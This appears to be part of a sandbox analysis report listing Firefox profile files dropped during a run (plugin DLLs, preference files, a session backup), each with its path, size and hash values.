SHA512 73fa8ea20466c98f966eff9f0c2996e030f9c2fbd628d8e442f2c97beaa35e38db140ba3b54fce4a2bbfdf41b7ae610f64a5ccb3d7194c98b5f8671125822b1c
SSDEEP 384:MkI4voUmldvM8dhW894z896osRL4HmL4PKL4HGL4HJL4HMB4hg:DI4QRfVX94U67J4s4A4M4B4U46
TLSH
T18E72321545049EB8298E979BAA367E01C37D473B60845C78B4DD8FC802FB5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\gmp-widevinecdm\4.10.2934.0\manifest.json
Size 1001B
SHA256 25ac9b79df29fa869b4c9f4ca3bdbc3a85f6122f5a8efab5a1216d577099becc
MD5 580786a5ec9eb650dde3e0e75db8588a
SHA1 8c0835d1a6bf82e753b624440e9674d649696ead
SHA512 c8d41e16b291157e2afbf978469eae4c017d1ce3b941b93ae710e2bbaaf4c3e601db45e579d22b957b7a1ec48cba788015725a2fa23cf02f2d66010ef4fdd0a0
TLSH
T100115B10DD388D9326E4BAA21CC6580957661DAF4CC23F98379E161D8F1C8AFA37366C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\gmp-widevinecdm\4.10.2934.0\widevinecdm.dll
Size 18.9MB
SHA256 875a76af5b19622842c9b37fe77dce10ee83f27adbdcfcde9c814d4e1226d023
MD5 15fa9ea03f6f451d587b1dabb2f7b036
SHA1 a1a5cf60b693f732931f8e7512627d2840023dee
SHA512 8d5e5aa0a116bb09dd492b6b59bcd9458ded013e6b52a31dd36e81313c3f2d9ea01d5bf3ec4b0f2593633a5313705af773a4e7245d6cfd96f231332db26d75ae
SSDEEP 393216:uD9xOHbGD+l8Vm148M/i5hE4/junbj0OjLFI/USFUzUqr1d4Pg4C5/:tGD+l8VmuZ/S24/junfSFwUqYg4A
TLSH
T13717E149E36310E8E80E89F446AADA72D4743C4E03369BEF17D4BB3559727C06A79F06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\prefs-1.js
Size 11KB
SHA256 c1ff396a530429572a8849f2a1343186fea7b0334bc7ca79e8b8524297e7c7dd
MD5 7de8305bab691213a3ac7c28fbe27fea
SHA1 8fadda3d37efa09849ae5e9fba0935505ca756c4
SHA512 7dc8670346505692e08b883fe394c72b620cb3a470058594c463b5015da0b5b87ad52a8a087ff121bf1ed3baf8194f94feb384f5fd242ea2332f0da4f2560c6a
SSDEEP 96:xHHJtTUtBoqGqV0fbeZObzSLSSlldv9jTVnYtpwoDR9xLRBD7mBw88KmqIb6/D2x:n2RmfbeZRSSDILRfTD7mBw88KYb6/D+
TLSH
T15C42BEB850449E3F74B3727DAC6949B0596241377BBFBCD305F98882059CF2481E6AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\prefs-1.js
Size 6KB
SHA256 6b2fad1cd3b72f36470697d8d56a47780e793e3d4023b0479d4686415ebef0b0
MD5 0ae9d52022ba99da003d4858925ceccd
SHA1 c4116c629900c1a23f100808712080e8325d0c0d
SHA512 b471c3052eceeb664237167c3a05de617fa47f72a9c1ea73414c74fb52814734bb937668cb0a991f40fe1c66b3beb3ee55c52a54e14622e223bda6c003848c34
SSDEEP 96:xHHJUTUtBoqGqV0fYeZ1zSNNSSlldv9jTVnYtHFLkBw88H8L4cnZhLMR:njRmfYeZySSDEFoBw886s
TLSH
T16CE1227854088B7FA4B677ACAC6888316AB2013B7BBF68C750B554C4054CF3846F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\prefs-1.js
Size 6KB
SHA256 104703dfe60c8a49ea6b1ba773af81c2a6728b7e7b992b32ab7487075c7b6498
MD5 eaa07526c7ceb2cd7eed21ba04c5d4c1
SHA1 eb4116b74b77095ab8ee2ae82988ed0ab0790708
SHA512 3f92f6078126d99cf42228785557d4461f6d3694f372fee72f89fb09b4e6d58fcecfe85be3735a5d0d9679601ba0454dae81ad8ad3434967dd50c1c72770eb29
SSDEEP 96:xHHJUTUtBoqGqV0fYeZObzSNNSSlldv9jTVnYtHFLkBw88H8L4cnZhLMR:njRmfYeZtSSDEFoBw886s
TLSH
T1E1E1217854088B7FA4B677ACAC6888316AB2013B7BBF68C750B554C4014CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\prefs-1.js
Size 8KB
SHA256 68821ad46ca7e721f130506eaa386209302d444316b739ff28d1a8aa8caefb68
MD5 019e7eaed865ed9ec02b4058e35387fd
SHA1 369bc1d34f0b715c7d3d59ee253c951e9611c3db
SHA512 a911685bbfd18205cdf9af788756ada408cafd71d1522f361ef2042266bdc97cafc108be93c0cddabb4df859c263c859d7269273bdd657d1b2ced5def28103a1
SSDEEP 96:xHHJtTUtBoqGqV0fbeZObzSNNSSlldv9jTVnYtWR9xLRB1Bw88Ks8L4cnZdMR:n2RmfbeZtSSDhRfT1Bw88d
TLSH
T1BB0210785404CF7FB4B676ACAC6889715AB2013BBABF6CC710B954C50148F3446F9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\prefs.js
Size 6KB
SHA256 b391c413694776afe146f417eeb052677d8907159b9f7074ec4022cc508fe7fb
MD5 f03352983902c854741b88de41751677
SHA1 0084baf03dedde03111a55f521d54f499de63e5a
SHA512 c97f6b1d25f4c43d10a9a5b45b5797a8b2532b4c12ffefb668d465bc51ec8b01c28fc6b06104d68d381f25088970aac0e652dd38ea81cbf69fa313a690aeace2
SSDEEP 96:xHHJUTUtBoqGqV0fYKjzDnjb1zS0mSSlldv9jLnYtHFLkBw88H8L4cnZhLMR:njRmfYcDftmSSqFoBw886s
TLSH
T162E1207894088F7FA4B677ACAC6488316AB2413B7BBF68C750B544C4054CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\sessionstore-backups\recovery.baklz4
Size 4KB
SHA256 c6697556a3daff931bb08e819f9c3aeccdb7789ed3f992a41e0b593c9424007a
MD5 45a6a8d00a2f1e930ab82c9e2ded4b88
SHA1 9e9b61b30481bd9ed7b8e7e3c9b237655cb198ab
SHA512 19b6f6f6632e6800ffdfceee3a1125187f4de722cc6a73daf866635135a0dd12ad0ceba00a1f8678f404a9f15f15d071baf096de833f4769ce289faa367089a3
SSDEEP 96:3cfTd9yju6j6u4awAyqL2TNPG4dLGyr8C/qeDAp:+Td9yjbjjDwRFFG4tNwc8
TLSH
T12D917F6FF49C1CD4E13A7565D0C83E7091A13845C0F12860CD25AA6716FB641B70F66D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download